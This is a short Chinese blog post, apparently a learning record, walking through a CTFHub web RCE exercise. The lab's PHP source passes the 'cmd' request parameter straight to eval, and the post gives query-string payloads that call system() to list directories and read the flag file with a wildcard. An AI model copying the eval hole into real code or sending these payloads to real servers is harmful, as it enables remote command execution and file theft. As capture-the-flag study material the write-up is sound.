CTFHub 技能树 Web RCE eval执行(学习记录)

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

相关推荐
来了就未晚32 分钟前
Python基础 学习代码存储与命名规范
开发语言·python·学习
GHL28427109034 分钟前
用codex做一个简单技能学习
学习·ai
西西弗Sisyphus2 小时前
模型训练 不同批次大小与学习率下的训练损失对比(2)
学习·batchsize·lr·learning rate
软件开发技术深度爱好者2 小时前
在线学习实践 TypeScript 的官方Playground(演练场)使用介绍
javascript·学习·typescript
我想我不够好。2 小时前
豹女q w e r衔接闪现
学习
aichitang20244 小时前
希尔伯特空间中的正交性
人工智能·学习·机器学习·ai·泛函分析
for_ever_love__4 小时前
python基础语法学习: 正则表达式
python·学习·正则表达式
佳児素花痴╮4 小时前
STM32U575RIT6(USART)学习
stm32·嵌入式硬件·学习
sunshine22 girl4 小时前
Angular7,9,学习笔记三 dom操作
笔记·学习·angular
春风解人意5 小时前
从零开始学习嵌入式P28----线程
c语言·学习·算法